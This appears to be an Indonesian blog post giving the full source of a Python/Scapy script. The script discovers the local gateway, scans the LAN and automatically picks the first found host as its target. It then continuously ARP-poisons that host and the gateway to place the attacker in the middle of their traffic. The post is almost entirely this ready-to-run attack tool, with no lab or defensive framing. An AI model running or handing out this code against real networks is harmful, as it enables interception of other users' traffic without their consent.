Wifi IP LAN MAC Spoofing Scapy Netifaces vx-3

Nama: scapy_arp_spoof_full_auto.py



from scapy.all import ARP, Ether, srp, send
import netifaces
import time
import os
import sys

# =============================
# 1️⃣ Gateway IP Otomatis
# =============================

def get_gateway_ip():
    gws = netifaces.gateways()
    return gws['default'][netifaces.AF_INET][0]

gateway_ip = get_gateway_ip()
print(f"[+] Gateway IP terdeteksi: {gateway_ip}")

# =============================
# 2️⃣ IP LAN & Interface
# =============================

def get_interface_ip():
    interfaces = netifaces.interfaces()
    for iface in interfaces:
        addrs = netifaces.ifaddresses(iface)
        if netifaces.AF_INET in addrs:
            for link in addrs[netifaces.AF_INET]:
                ip = link.get('addr')
                if ip and not ip.startswith("127."):
                    return ip
    return None

my_ip = get_interface_ip()
if my_ip is None:
    sys.exit("[!] Gagal mendeteksi IP LAN!")

# Contoh: 192.168.1.10 → 192.168.1.0/24
ip_parts = my_ip.split(".")
ip_range = f"{ip_parts[0]}.{ip_parts[1]}.{ip_parts[2]}.0/24"
print(f"[+] IP LAN: {my_ip}")
print(f"[+] Scan range: {ip_range}")

# =============================
# 3️⃣ Scan LAN
# =============================

def scan(ip_range):
    print(f"[+] Scanning LAN: {ip_range}")
    arp = ARP(pdst=ip_range)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether / arp

    result = srp(packet, timeout=3, verbose=0)[0]
    clients = []

    for _, received in result:
        if received.psrc != my_ip and received.psrc != gateway_ip:
            clients.append({'ip': received.psrc, 'mac': received.hwsrc})

    print(f"[+] Ditemukan {len(clients)} target.")
    for idx, client in enumerate(clients):
        print(f"   [{idx}] {client['ip']} - {client['mac']}")
    return clients

# =============================
# 4️⃣ Gateway MAC
# =============================

def get_mac(ip):
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2, verbose=0)
    if ans:
        return ans[0][1].hwsrc
    return None

gateway_mac = get_mac(gateway_ip)
print(f"[+] Gateway MAC: {gateway_mac}")

# =============================
# 5️⃣ ARP Spoofing
# =============================

def spoof(target_ip, spoof_ip, target_mac):
    packet = ARP(op=2, pdst=target_ip, psrc=spoof_ip, hwdst=target_mac)
    send(packet, verbose=0)

def restore(destination_ip, source_ip, destination_mac, source_mac):
    packet = ARP(op=2, pdst=destination_ip, psrc=source_ip,
                 hwdst=destination_mac, hwsrc=source_mac)
    send(packet, count=4, verbose=0)

# =============================
# 6️⃣ MAIN
# =============================

if __name__ == "__main__":
    if os.name != "nt" and os.geteuid() != 0:
        sys.exit("[!] Harus dijalankan sebagai root/admin!")

    clients = scan(ip_range)
    if not clients:
        sys.exit("[!] Tidak ada target ditemukan.")

    target = clients[0]  # Target otomatis pertama
    target_ip = target['ip']
    target_mac = target['mac']

    print(f"[+] Target otomatis: {target_ip} ({target_mac})")

    try:
        print("[+] Menjalankan ARP Spoofing... Tekan CTRL+C untuk berhenti.")
        while True:
            spoof(target_ip, gateway_ip, target_mac)
            spoof(gateway_ip, target_ip, gateway_mac)
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n[!] Menghentikan spoofing. Mengembalikan ARP...")
        restore(target_ip, gateway_ip, target_mac, gateway_mac)
        restore(gateway_ip, target_ip, gateway_mac, target_mac)
        print("[+] ARP tabel telah dipulihkan.")

Comments

Popular posts from this blog

Contoh Pindah Lokasi di CMD, Folder & Drive C D E

Langkah Cek Instalasi Python

Perbedaan antara Nmap dan python-nmap